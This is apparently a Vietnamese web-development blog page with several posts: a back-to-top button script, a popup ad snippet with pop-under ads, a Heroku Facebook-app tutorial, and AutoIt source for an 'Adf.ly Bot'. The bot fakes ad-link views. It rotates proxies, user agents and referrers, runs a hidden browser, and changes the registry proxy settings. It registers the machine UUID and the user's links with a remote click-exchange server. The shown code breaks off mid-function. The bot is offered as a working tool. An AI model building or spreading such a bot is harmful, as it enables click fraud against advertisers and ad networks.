[Best] Nút trở về đầu trang back to top

Đây là code javascript mình sử dụng cho nhiều trang với chứng năng good nhất có thể
– Tùy chỉnh vị trí hiển thị
– Tùy chỉnh text, ảnh, html,… hiển thị
– Chỉ hiển thị khi nội dung trang dài
– Code đơn giản nhẹ, dễ sử dụng

Nút back to top trở về đầu trang
Nút back to top trở về đầu trang

Để chèn nút back to top này bạn chỉ cần download file dưới đây về
backtotop.rar
Trong đó đã có hướng dẫn cụ thể
Bạn chỉ cần up các file jquery-1.7.1.min.js, scrolltopcontrol.js, backtotop.png lên hostting sau đó chèn đoạn mã vào trước thẻ
[html]
<script type="text/javascript" src="jquery-1.7.1.min.js"></script>
<script type="text/javascript" src="scrolltopcontrol.js"></script>
[/html]
Chúc các bạn thành công

Code quảng cáo góc phải trang web flash popup windows ads

bottom right conner flash popup ads windows
bottom right conner flash popup ads windows

Có thể tùy chỉnh quảng cáo là flash, video, text, hình ảnh, html…
Tùy chỉnh độ rộng, thời gian hiển thị, có nút thu nhỏ, tắt rất tiện lợi và không gây khó chịu cho khách truy cập
Chỉ cần copy code sau dán trước thẻ body trong code của bạn
[js]<br />
<script type="text/javascript">
//Alert MsgAd
clicksor_enable_MsgAlert = true;
//default pop-under house ad url
clicksor_enable_pop = true; clicksor_frequencyCap = 0.1;
durl = ”;
//default banner house ad url
clicksor_default_url = ”;
clicksor_banner_border = ‘#000f30’; clicksor_banner_ad_bg = ‘#FFFFFF’;
clicksor_banner_link_color = ‘#0c15ff’; clicksor_banner_text_color = ‘#da0041’;
clicksor_banner_image_banner = true; clicksor_banner_text_banner = true;
clicksor_layer_border_color = ”;
clicksor_layer_ad_bg = ”; clicksor_layer_ad_link_color = ”;
clicksor_layer_ad_text_color = ”; clicksor_text_link_bg = ”;
clicksor_text_link_color = ‘#0c59ff’; clicksor_enable_text_link = true;
clicksor_enable_VideoAd = true;
</script></p>
<style type="text/css">
* html div#fl813691 {position: absolute; overflow:hidden;<br />
top:expression(eval(document.compatMode &&<br />
document.compatMode==’CSS1Compat’) ?<br />
documentElement.scrollTop<br />
+(documentElement.clientHeight-this.clientHeight)<br />
: document.body.scrollTop<br />
+(document.body.clientHeight-this.clientHeight));}<br />
#fl813691{font: 12px Arial, Helvetica, sans-serif; color:#666; position:fixed; _position: absolute; right:0; bottom:0; height:150px; }<br />
#eb951855{ width:289px; padding-right:7px; background:url(https://lh5.googleusercontent.com/-tC1Af6p9aw8/UEuOWQws00I/AAAAAAAAa-g/BbHcKKr5plc/s0/fullborder_bg_right.gif) no-repeat right top;}<br />
#cob263512{background:url(https://lh4.googleusercontent.com/-ClNrLnNnkOc/UEuOWLuYZ1I/AAAAAAAAa-k/FTBzIb2RH7E/s0/fullborder_bg.gif) no-repeat left top; height:150px; padding-left:7px;}<br />
#coh963846{color:#690;display:block; height:20px; line-height:20px; font-size:11px; width:283px;}<br />
#coh963846 a{color:#690;text-decoration:none;}<br />
#coc67178{float:right; padding:0; margin:0; list-style:none; overflow:hidden; height:15px;}<br />
#coc67178 li{display:inline;}<br />
#coc67178 li a{background-image:url(https://lh6.googleusercontent.com/-GndSGSlTOiY/UEuOWHOL_3I/AAAAAAAAa-c/duzdTEwLvK0/s0/button.gif); background-repeat:no-repeat; width:30px; height:0; padding-top:15px; overflow:hidden; float:left;}<br />
#coc67178 li a.close{background-position: 0 0;}<br />
#coc67178 li a.close:hover{background-position: 0 -15px;}<br />
#coc67178 li a.min{background-position: -30px 0;}<br />
#coc67178 li a.min:hover{background-position: -30px -15px;}<br />
#coc67178 li a.max{background-position: -60px 0;}<br />
#coc67178 li a.max:hover{background-position: -60px -15px;}<br />
#co453569{display:block; margin:0; padding:0; height:123px; border-style:solid; border-width:1px; border-color:#111 #999 #999 #111; line-height:1.6em; overflow:hidden;}<br />
</style>
<div style="height: 152px; z-index:9999;" id="fl813691">
<div id="eb951855">
<div id="cob263512">
<div id="coh963846">
<ul id="coc67178">
<li id="pf204652hide"><a class="min" href="javascript:pf204652clickhide();" title="Ẩn cửa sổ này">Ẩn cửa sổ này</a></li>
<li id="pf204652show" style="display: none;"><a class="max" href="javascript:pf204652clickshow();" title="Mở cửa sổ này">Mở cửa sổ này</a></li>
<li id="pf204652close"><a class="close" href="javascript:pf204652clickclose();" title="Tắt cửa sổ này">Tắt cửa sổ này</a></li>
</ul>
<p> Hotline
</div>
<p> <!–280×133–></p>
<div id="co453569">
<img src="image/data/common/docongnghiep_bottom_banner.jpg" alt="hotline" />
</div>
</div>
</div>
</div>
<p><script>
pf204652bottomLayer = document.getElementById(‘fl813691′);
var pf204652IntervalId = 0;
var pf204652maxHeight = 150;
var pf204652minHeight = 20;
var pf204652curHeight = 0;
function pf204652show( ){
pf204652curHeight += 2;
if (pf204652curHeight > pf204652maxHeight){
clearInterval ( pf204652IntervalId );
}
pf204652bottomLayer.style.height = pf204652curHeight+’px’;
}
function pf204652hide( ){
pf204652curHeight -= 3;
if (pf204652curHeight < pf204652minHeight){
clearInterval ( pf204652IntervalId );
}
pf204652bottomLayer.style.height = pf204652curHeight+’px’;
}
pf204652IntervalId = setInterval ( ‘pf204652show()’, 5 );
function pf204652clickhide(){
document.getElementById(‘pf204652hide’).style.display=’none’;
document.getElementById(‘pf204652show’).style.display=’inline’;
pf204652IntervalId = setInterval ( ‘pf204652hide()’, 5 );
}
function pf204652clickshow(){
document.getElementById(‘pf204652hide’).style.display=’inline’;
document.getElementById(‘pf204652show’).style.display=’none’;
pf204652IntervalId = setInterval ( ‘pf204652show()’, 5 );
}
function pf204652clickclose(){
document.body.style.marginBottom = ‘0px’;
pf204652bottomLayer.style.display = ‘none’;
}
</script><br />
[/js]

Tạo app Facebook sử dụng PHP trên host Heroku toàn tập

Việc tạo và chạy 1 ứng dụng facebook trước kia lằng nhằng và có 2 cách là Dùng FBML (ngôn ngữ do facebook sáng chế ) và iframe.
Bây h facebook đã không hỗ trợ cho FBML, nghe nói cũ rồi ,1 vài ứng dụng facebook viết bằng FBML vì thế cũng chết theo ,1 vài ebook hướng dẫn làm ứng dụng cho facebook cũng không thể làm theo
Để tạo 1 ứng dụng vui trên facebook chia sẻ cùng bạn bè ,bây h không mất quá nhiều thời gian và dễ dàng hơn bao h hết .
1-Host free Heroku – cái này quá tuyệt luôn ( trước kia thì mệt lắm dùng localhost chạy qua chạy lại up lên tải xuống )
2-Heroku giúp ta phần kết nối – tạo sẵn luôn cho bạn 1 class kết nối với facebook (ngon rồi)
3-Đỡ phải config lằng nhằng nào là canvas, iframe, hay fbml ,php sdk hay javascript sdk…..
Bắt tay vào làm 1 app facebook nào:
B1:
Vô đây để đăng ký tên cho 1 app đã https://developers.facebook.com/apps sau đó click Create New App:

Create new app button
Create new app button

– Nếu ai đã từng tạo facebook sẽ có hình:
Create app facebook
Create app facebook

Sau khi click ta thấy hộp thoại sẽ hiện ra:
Creat app form
Creat app form

Chọn tên app ở đây , shi chọn Qrcode ,hay gì đó tùy bạn chọn cho hợp tên ứng dụng của bạn .
** chú ý tick vào web hosting : nhà nghèo nên dùng host heroku (biết dùng thì cực thích luôn) tiện mà free -ở đây ta đang làm trên heroku mà .
ok xong chọn continue
Nhập mã xác nhận
Nhập mã xác nhận

Gõ mã xác nhận tránh spam của facebook nhảy qua bước kế nào
Heroku PHP
Heroku PHP

Chọn ngôn ngữ ở đây là PHP và email đăng ký ở heroku (đăng ký tài khỏan mới trên web heroku) là như trên
Đăng ký Heroku thành công
Đăng ký Heroku thành công

khi nhận được thông báo như trên là xong – chúc mừng bạn đã xong bước 1
B2: vô ứng dụng vừa tạo để kiểm tra khi các thông số :
ở website -> site URL , canvas URL , secure Canvas URL, Canvas Page … tự heroku sẽ tạo và kết nối đến facebook . khi thấy các thông số trên là đã thành công 1/2 Bước 2
Cài đặt thông tin ứng dụng FB
Cài đặt thông tin ứng dụng FB

kiểm tra host heroku đã config chưa bằng cách
gõ địa chỉ http://blooming-meadow-5451-herokuapp.com
Kiểm tra host hoạt động chưa
Kiểm tra host hoạt động chưa

ra được hình trên là ổn
B3: down soft heroku tool hỗ trợ cho việc up hay thay đổi file trên server (host) heroku
http://devcenter.heroku.com/articles/quickstart – vô đây để download Heroku Toolbelt
sau khi tải và chạy màn hình dos heroku- đăng nhập bằng email + pass đã tạo
** khi nhập pass nó sẽ không hiện gì kể cả ký tự *** thường thấy , vì vậy cứ nhập cho đúng là ok

$ heroku loginEnter your Heroku credentials.Email: shimi@ymail.comPassword: Could not find an existing public key.Would you like to generate one? [Yn] Generating new SSH public key.Uploading ssh public key /Users/adam/.ssh/id_rsa.pub

.B4 : chỉnh sửa tạo ứng dụng trên máy tính của mình
mở màn hình dos của heroku gõ
$ cd trở về mục chính
rồi gõ tiếp

$ git clone git@heroku.com:blooming-meadow-5451.git -o heroku

Sử dụng Heroku Toolbelt
Sử dụng Heroku Toolbelt

trong đó
blooming-meadow-5451 là url https://blooming-meadow-5451.herokuapp.com
mà ta heroku đã tạo ra

$ git clone git@heroku.com:blooming-meadow-5451.git -o herokuInitialized empty Git repository in /Users/adam/facebook-template-php/.git/remote: Counting objects: 273, done.remote: Compressing objects: 100% (183/183), done.remote: Total 273 (delta 2), reused 261 (delta 0)Receiving objects: 100% (273/273), 25.55 KiB, done.Resolving deltas: 100% (2/2), done.
nếu hiện ra tình trạng xử lý như trên là đã thành công không thì vàođây xem thêm
mở file trong máy tính tại C:\Documents and Settings\Tên user máy tính của bạn
nếu thấy xuất hiện folder “blooming-meadow-5451” là thành công

Đồng bộ file về máy tính
Đồng bộ file về máy tính

B5 : chỉnh sửa code : thử tý xem sao
dùng notepad , DW hay notepad++ để sửa file index.php
tìm dòng chữ

Welcome to your Facebook app, running on heroku!

thay thế thử bằng

This is my app, I can edit it all I want.

save file lại
B6: upload để thay đổi trên server
Có 2 cách :
A -1 trên màn hình dos heroku bằng 2 lệnh

$ git commit -am “ghi chú” A-2 gửi 1 commit đến server để ghi chú ( mỗi lần gửi 1 commit là 1 ghi chú khác nhau – lần sau khác lần trước )
$git push heroku master
lệnh để đẩy code lên server
B cách 2 dễ hơn nhiều vì dùng chuột click click thôi – cá nhân mình thích cách này trực quan hơn .
chuột phải vào file index.php trong thư mục “blooming-meadow-5451”

Upload file chỉnh sửa lên host
Upload file chỉnh sửa lên host

sẽ ra giao diện quản lý
Git gui
Git gui

làm lần lượt
1- click recan : quét thay đổi
2- click stage changed : thay đổi
3- gõ vào commit message từ gì đó ví dụ ” 1″ (lần thay đổi sau thì gõ từ khác)
4 click commit
Push heroku
Push heroku

5 click push ra giao diện push gui
6- click tiếp push – đợi push xong
Push success heroku
Push success heroku

ra được hình tương tự như trên là bạn đã thành công rồi .
1 vài ứng dụng facebook dùng heroku đã làm
https://apps.facebook.com/ten-tieng-han/
https://apps.facebook.com/thinh-thay/
https://apps.facebook.com/bach-tuoc/
https://apps.facebook.com/maqrcode/
và đây là link download app mẫu facebook thỉnh thầy – Tải file morning-rain-1242
** down về giải nén ,nhưng đừng copy nguyên tất cả file trong thư mục morning-rain-1242 vào thư mục heroku đã tạo ra trên máy bạn , nó sẽ lỗi đó , chỉ copy file những file
1- index.php
2-,java.js.php
3-và thư mục ảnh img
vào thư mục mà host heroku đã tạo ra trên máy bạn nhé
tha hồ mà test nhé
app facebook
app facebook

chúc bạn thành công

Thấy hay Xin đừng quyên thank

Code Adf.ly Bot bằng AutoIT

Adf.ly Bot Tự động tăng lượt xem link adf.ly hỗ trợ sock, proxy, hỗ trợ GUI (giao diện), view ẩn…

adf.ly bot gui
adf.ly bot gui

Download mã nguồn Adf.ly Bot

Download tại đây bao gồm đầy đủ các file và cả mã nguồn website mình save về đề phòng nó die
adf.ly bot au3 source

Tham khảo trực tiếp code chính:

[au3]
#include <File.au3>
#include <IE.au3>
#include <Constants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <GUIConstants.au3>
#include <StaticConstants.au3>

FileInstall("hdr.bmp", @DocumentsCommonDir & "\hdr.bmp", 1)
FileInstall("cnr.bmp", @DocumentsCommonDir & "\cnr.bmp", 1)
FileInstall("min.bmp", @DocumentsCommonDir & "\min.bmp", 1)
FileInstall("cls.bmp", @DocumentsCommonDir & "\cls.bmp", 1)
FileInstall("Settings.ini", @ScriptDir & "\Settings.ini", 0)
FileInstall("proxies.txt", @DocumentsCommonDir & "\proxies.txt", 0)
FileInstall("ua.txt", @DocumentsCommonDir & "\ua.txt", 0)
FileInstall("ref.txt", @DocumentsCommonDir & "\ref.txt", 0)
Local $running = 0
Dim $silent = 0
Dim $bad = 0
Dim $used = 0
Dim $uproxy
Dim $change
Dim $ver = "1.5.2 build 17"
Dim $links
Dim $list
Dim $on = 0
Dim $start = 0
Dim $mee = 0
Dim $me = 0
Dim $mines = 0
Dim $network = 0
Dim $link
Dim $link2
Dim $link3
Dim $link4
Dim $link5
Dim $vist[1]
Dim $item1
Dim $online
Dim $isu
Dim $add
Dim $silent = 0
Dim $useown = 0
Dim $noimg = 0
Dim $var
Dim $close
Dim $time = 0
Dim $xr
Dim $xr2
Dim $xr3
Dim $xr4
Dim $xr5
Dim $cyl
Dim $onl
Dim $cnl
Global $button1, $edit1, $edit2, $edit3
Global $button2
Global $start
Global $button3
Global $oclose
Global $omin
Global $checkbox2
Global $checkbox4
Dim $ie = 0
Global $clearid = "4351"
Global $olabel
$key = _getuuid()
Global $alines, $proxys, $reff
_filereadtoarray(@DocumentsCommonDir & "\ua.txt", $alines)
_filereadtoarray(@DocumentsCommonDir & "\proxies.txt", $proxys)
_filereadtoarray(@DocumentsCommonDir & "\ref.txt", $reff)
$useragent = $alines[Random(1, UBound($alines))]
$reffer = $reff[Random(1, UBound($reff))]
ConsoleWrite("User-Agent: " & $useragent & @CRLF & "Refferer: " & $reffer & @CRLF)
_ieerrorhandlerregister()
Opt("TrayOnEventMode", 1)
Opt("TrayMenuMode", 1)
Opt("TrayIconHide", 0)
Opt("MouseCoordMode", 0)
Global $oie
TraySetOnEvent($tray_event_primaryup, "SpecialEvent")
TraySetState()
__steam_window("Adf.ly Bot Version " & $ver, 600, 220)

Func specialevent()
GUISetState(@SW_SHOW)
TraySetState()
EndFunc

Func __steam_window($swindow_title, $iwindow_width, $iwindow_height)
Local $owindow = GUICreate($swindow_title, $iwindow_width, $iwindow_height, -1, -1, BitOR($ws_popup, $ws_sysmenu, $ws_minimizebox), $ws_ex_layered)
GUISetFont(8, 400, 0, "Courier")
GUISetBkColor(3355447)
GUICtrlCreatePic(@DocumentsCommonDir & "\hdr.bmp", 0, 0, $iwindow_width – 30, 20, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\hdr.bmp", $iwindow_width – 30, 0, 28, 5, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\hdr.bmp", $iwindow_width – 30, 16, 28, 4, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\hdr.bmp", $iwindow_width – 5, 0, 5, 20, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\hdr.bmp", $iwindow_width – 19, 0, 3, 20, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreateGraphic(0, 20, 1, $iwindow_height)
GUICtrlSetColor(-1, 38143)
GUICtrlCreateGraphic($iwindow_width – 1, 20, 1, $iwindow_height)
GUICtrlSetColor(-1, 38143)
GUICtrlCreateGraphic(0, $iwindow_height – 1, $iwindow_width, 1)
GUICtrlSetColor(-1, 38143)
Local $oclose = GUICtrlCreatePic(@DocumentsCommonDir & "\cls.bmp", $iwindow_width – 16, 5, 11, 11, $ss_notify, $gui_ws_ex_parentdrag)
Local $omin = GUICtrlCreatePic(@DocumentsCommonDir & "\min.bmp", $iwindow_width – 30, 5, 11, 11, $ss_notify, $gui_ws_ex_parentdrag)
Local $olabelheader = GUICtrlCreateLabel($swindow_title, 15, 0, $iwindow_width – 70, 20, $ss_centerimage)
GUICtrlSetColor(-1, 15790320)
GUICtrlSetBkColor(-1, 38143)
DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)
$olabel = GUICtrlCreateLabel(" Status: ", 8, 190, 585, 20, $ss_centerimage)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 12891472)
GUICtrlSetBkColor(-1, 4605510)
$group2 = GUICtrlCreateGroup("Links", 8, 25, 215, 160)
GUICtrlSetColor(-1, 16777215)
GUICtrlSetFont(-1, 10, 400, 0, "System")
GUISetFont(8, 400, 0, "Tahoma")
If IniRead("Settings.ini", "Adf.ly", "link", "none") Then
$linka = IniRead("Settings.ini", "Adf.ly", "link", "none")
$link = GUICtrlCreateInput($linka, 15, 50, 200, 21)
Else
$link = GUICtrlCreateInput("Enter Adf.ly Link", 15, 50, 200, 21)
EndIf
If IniRead("Settings.ini", "Adf.ly", "link2", "none") Then
$linka = IniRead("Settings.ini", "Adf.ly", "link2", "none")
$link2 = GUICtrlCreateInput($linka, 15, 75, 200, 21)
Else
$link2 = GUICtrlCreateInput("Enter Adf.ly Link", 15, 75, 200, 21)
EndIf
If IniRead("Settings.ini", "Adf.ly", "link3", "none") Then
$linka = IniRead("Settings.ini", "Adf.ly", "link3", "none")
$link3 = GUICtrlCreateInput($linka, 15, 100, 200, 21)
Else
$link3 = GUICtrlCreateInput("Enter Adf.ly Link", 15, 100, 200, 21)
EndIf
If IniRead("Settings.ini", "Adf.ly", "link4", "none") Then
$linka = IniRead("Settings.ini", "Adf.ly", "link4", "none")
$link4 = GUICtrlCreateInput($linka, 15, 125, 200, 21)
Else
$link4 = GUICtrlCreateInput("Enter Adf.ly Link", 15, 125, 200, 21)
EndIf
If IniRead("Settings.ini", "Adf.ly", "link5", "none") Then
$linka = IniRead("Settings.ini", "Adf.ly", "link5", "none")
$link5 = GUICtrlCreateInput($linka, 15, 150, 200, 21)
Else
$link5 = GUICtrlCreateInput("Enter Adf.ly Link", 15, 150, 200, 21)
EndIf
$group2 = GUICtrlCreateGroup("Statistics", 240, 25, 180, 110)
GUICtrlSetColor(-1, 16777215)
GUICtrlSetFont(-1, 10, 400, 0, "System")
$cyl = GUICtrlCreateLabel("Clicked Your Link: 0", 255, 50, 155, 17)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$cnl = GUICtrlCreateLabel("Clicked Network Links: 0", 255, 75, 155, 15)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$onl = GUICtrlCreateLabel("Online Users: 0", 255, 100, 155, 17)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$group2 = GUICtrlCreateGroup("Options", 440, 25, 150, 110)
GUICtrlSetColor(-1, 16777215)
GUICtrlSetFont(-1, 10, 400, 0, "System")
$checkbox2 = GUICtrlCreateCheckbox("No Images", 455, 50, 110, 17)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$checkbox4 = GUICtrlCreateCheckbox("Use Proxy", 455, 75, 70, 17)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$checkbox1 = GUICtrlCreateCheckbox("Show IE", 455, 100, 70, 17)
GUICtrlSetFont(-1, 8, 800, 0, "Tahoma")
GUICtrlSetColor(-1, 4190447)
$start = GUICtrlCreateButton("Start", 240, 150, 40, 25)
GUICtrlSetBkColor(-1, 15790320)
$button3 = GUICtrlCreateButton("Tray", 280, 150, 40, 25)
GUICtrlSetBkColor(-1, 15790320)
$button2 = GUICtrlCreateButton("Check for update", 465, 150, 100, 25)
GUICtrlSetBkColor(-1, 15790320)
$button1 = GUICtrlCreateButton("Exit", 320, 150, 40, 25)
GUICtrlSetBkColor(-1, 15790320)
$set = GUICtrlCreateButton("Settings", 360, 150, 55, 25)
GUICtrlSetBkColor(-1, 15790320)
$oie = _iecreate("", 0, 0, 1, 0)
GUICtrlCreatePic(@DocumentsCommonDir & "\cnr.bmp", 0, 0, 1, 1, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\cnr.bmp", $iwindow_width – 1, 0, 1, 1, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\cnr.bmp", 0, $iwindow_height – 1, 1, 1, $ss_notify, $gui_ws_ex_parentdrag)
GUICtrlCreatePic(@DocumentsCommonDir & "\cnr.bmp", $iwindow_width – 1, $iwindow_height – 1, 1, 1, $ss_notify, $gui_ws_ex_parentdrag)
GUIRegisterMsg($wm_command, "command")
GUISetState(@SW_SHOW)
$proxyset = IniRead("Settings.ini", "Settings", "Proxy", "none")
If $proxyset = "enable" Then
GUICtrlSetState($checkbox4, $gui_checked)
$useown = 1
Else
GUICtrlSetState($checkbox4, $gui_unchecked)
$useown = 0
EndIf
$noimg2 = IniRead("Settings.ini", "Settings", "NOIMG", "none")
If $noimg2 = "enable" Then
GUICtrlSetState($checkbox2, $gui_checked)
$noimg = 1
Else
GUICtrlSetState($checkbox2, $gui_unchecked)
$noimg = 0
EndIf
$useie = IniRead("Settings.ini", "Settings", "IE", "none")
If $useie = "enable" Then
GUICtrlSetState($checkbox1, $gui_checked)
$ie = 1
Else
GUICtrlSetState($checkbox1, $gui_unchecked)
$ie = 0
EndIf
While 1
$xr = StringRegExp(GUICtrlRead($link), "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
$xr2 = StringRegExp(GUICtrlRead($link2), "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
$xr3 = StringRegExp(GUICtrlRead($link3), "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
$xr4 = StringRegExp(GUICtrlRead($link4), "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
$xr5 = StringRegExp(GUICtrlRead($link5), "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
$running = 0
pexit()
Case $button1
pexit()
Case $button3
minimize()
Case $set
settings()
Case $gui_event_minimize
minimize()
Case $start
start()
Case $oclose
pexit()
Case $omin
minimize()
Case $checkbox2
If BitAND(GUICtrlRead($checkbox2), $gui_checked) = True Then
IniWrite("Settings.ini", "Settings", "NOIMG", "enable")
$noimg = 1
Else
IniWrite("Settings.ini", "Settings", "NOIMG", "disable")
$noimg = 0
EndIf
Case $checkbox4
If BitAND(GUICtrlRead($checkbox4), $gui_checked) = True Then
IniWrite("Settings.ini", "Settings", "Proxy", "enable")
$useown = 1
Else
IniWrite("Settings.ini", "Settings", "Proxy", "disable")
$useown = 0
EndIf
Case $checkbox1
If BitAND(GUICtrlRead($checkbox1), $gui_checked) = True Then
IniWrite("Settings.ini", "Settings", "IE", "enable")
$ie = 1
Else
IniWrite("Settings.ini", "Settings", "IE", "disable")
$ie = 0
EndIf
EndSwitch
WEnd
EndFunc

Func command($hwnd, $msg, $wparam, $lparam)
$nnotifycode = BitShift($wparam, 16)
$nid = BitAND($wparam, 65535)
If $nid = $start Then
If GUICtrlRead($start) = "Start" Then
$running = 1
GUICtrlSetData($start, "Stop")
ElseIf GUICtrlRead($start) = "Stop" Then
$running = 0
GUICtrlSetData($start, "Start")
EndIf
EndIf
If $nid = $oclose Then
$running = 0
pexit()
EndIf
If $nid = $button1 Then
$running = 0
pexit()
EndIf
If $nid = $button2 Then
update()
EndIf
If $nid = $omin Then
minimize()
EndIf
If $nid = $button3 Then
minimize()
EndIf
EndFunc

Func _getuuid()
Local $owmiservice = ObjGet("winmgmts:{impersonationLevel=impersonate}!\\localhost\root\cimv2")
If NOT IsObj($owmiservice) Then
Return SetError(1, 0, -1)
EndIf
Local $osysprod = $owmiservice.execquery("Select * From Win32_ComputerSystemProduct")
For $osysprop In $osysprod
Return SetError(0, 0, $osysprop.uuid)
Next
Return SetError(2, 0, -1)
EndFunc

Func tray()
GUISetState(@SW_SHOW)
EndFunc

Func minimize()
GUISetState(@SW_HIDE)
EndFunc

Func update()
If _inetgetsource("http://raauulll.hi2.ro/ver.txt") > $ver Then
MsgBox(262144, "", "This version is outdated!" & @LF & "Will now open the update link")
$temp = "http://raauulll.hi2.ro/adfly/"
If $temp = "" Then
Exit
EndIf
ShellExecute($temp)
pexit()
Else
MsgBox(262144, "", "You are using latest version!")
EndIf
EndFunc

Func proxycheck()
$proxyset = IniRead("Settings.ini", "Settings", "Proxy", "none")
If $proxyset = "enable" Then
$useown = 1
Else
$useown = 0
EndIf
EndFunc

Func imgcheck()
$noimg2 = IniRead("Settings.ini", "Settings", "NOIMG", "none")
If $noimg2 = "enable" Then
$noimg = 1
Else
$noimg = 0
EndIf
EndFunc

Func iecheck()
$useie2 = IniRead("Settings.ini", "Settings", "IE", "none")
If $useie2 = "enable" Then
$ie = 1
Else
$ie = 0
EndIf
EndFunc

Func pexit()
If $add = 1 Then
GUICtrlSetData($olabel, " Status: Disconnecting from network")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyEnable", "REG_DWORD", "0")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyServer", "REG_SZ", ":80")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Animations", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Background_Sounds", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Print_Background", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Show image placeholders", "REG_DWORD", "1")
$mlink = "http://raauulll.hi2.ro/adf1/test.php?name=" & $key & "&link=" & GUICtrlRead($link) & "&action=2"
InetRead($mlink)
ConsoleWrite("delete link" & @CRLF)
EndIf
ieclose()
Sleep(100)
$noimg = 0
clean(1)
Exit
EndFunc

Func start()
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
GUICtrlSetState($link, $gui_enable)
GUICtrlSetState($link2, $gui_enable)
GUICtrlSetState($link3, $gui_enable)
GUICtrlSetState($link4, $gui_enable)
GUICtrlSetState($link5, $gui_enable)
Return
EndIf
If IsArray($xr) AND IsArray($xr2) AND IsArray($xr3) AND IsArray($xr4) AND IsArray($xr5) Then
IniWrite("Settings.ini", "Adf.ly", "link", GUICtrlRead($link))
IniWrite("Settings.ini", "Adf.ly", "link2", GUICtrlRead($link2))
IniWrite("Settings.ini", "Adf.ly", "link3", GUICtrlRead($link3))
IniWrite("Settings.ini", "Adf.ly", "link4", GUICtrlRead($link4))
IniWrite("Settings.ini", "Adf.ly", "link5", GUICtrlRead($link5))
GUICtrlSetState($link, $gui_disable)
GUICtrlSetState($link2, $gui_disable)
GUICtrlSetState($link3, $gui_disable)
GUICtrlSetState($link4, $gui_disable)
GUICtrlSetState($link5, $gui_disable)
addlink()
While 1
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
getlink()
For $element In $vist
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
$links = $element
GUICtrlSetData($olabel, " Status: Navigating to " & $links)
Dim $time = 0
$wait = 1
cchange()
$time = $time + 0.1
If $time < 100 Then
If $links = GUICtrlRead($link) OR $links = GUICtrlRead($link2) OR $links = GUICtrlRead($link3) OR $links = GUICtrlRead($link4) OR $links = GUICtrlRead($link5) Then
$mines = $mines + 1
Else
$network = $network + 1
EndIf
EndIf
GUICtrlSetData($cyl, "Clicked Your Link: " & $mines)
GUICtrlSetData($cnl, "Clicked Network Links: " & $network)
GUICtrlSetData($onl, "Online Users: " & $online)
ieclose()
ConsoleWrite("ieclose" & @CRLF)
cleanh()
$d = 45000
$ext = 1000
$e = "Seconds"
$timer = TimerInit()
While TimerDiff($timer) <= $d
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
Sleep(10)
GUICtrlSetData($olabel, " Status: Waiting " & Round(TimerDiff($timer) / $ext, 1) & " / " & Round($d / $ext, 0) & " " & $e & " To Click Next Link")
WEnd
$wait = 0
$time = 0
Next
info(1)
WEnd
Else
Sleep(100)
MsgBox(262144, "", "Invalid link: Must be in format http://adf.ly/160NT" & @LF & "Please fill out all links")
EndIf
EndFunc

Func ieclose()
_iequit($oie)
Sleep(500)
While ProcessExists("iexplore.exe")
ProcessClose("iexplore.exe")
WEnd
EndFunc

Func addlink()
GUICtrlSetData($olabel, " Status: Adding your link to the network")
$mlink = "http://raauulll.hi2.ro/adf1/test.php?name=" & $key & "&link=" & GUICtrlRead($link) & "&action=1"
InetRead($mlink)
$add = 1
ConsoleWrite("add link" & @CRLF)
_iequit($oie)
EndFunc

Func getlink()
info(1)
Dim $vist[1]
ReDim $vist[1]
$mee = 10
$s2 = _inetgetsource("http://raauulll.hi2.ro/adftest2.php")
$list2 = StringRegExp($s2, "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
Do
If IsArray($list) Then
If $mee > 0 Then
_arrayadd($vist, GUICtrlRead($link))
_arrayadd($vist, GUICtrlRead($link2))
_arrayadd($vist, GUICtrlRead($link3))
_arrayadd($vist, GUICtrlRead($link4))
_arrayadd($vist, GUICtrlRead($link5))
If IsArray($list2) Then
$links = $list2[Random(0, UBound($list2) – 1)]
$links2 = $list2[Random(0, UBound($list2) – 1)]
$links3 = $list2[Random(0, UBound($list2) – 1)]
_arrayadd($vist, $links)
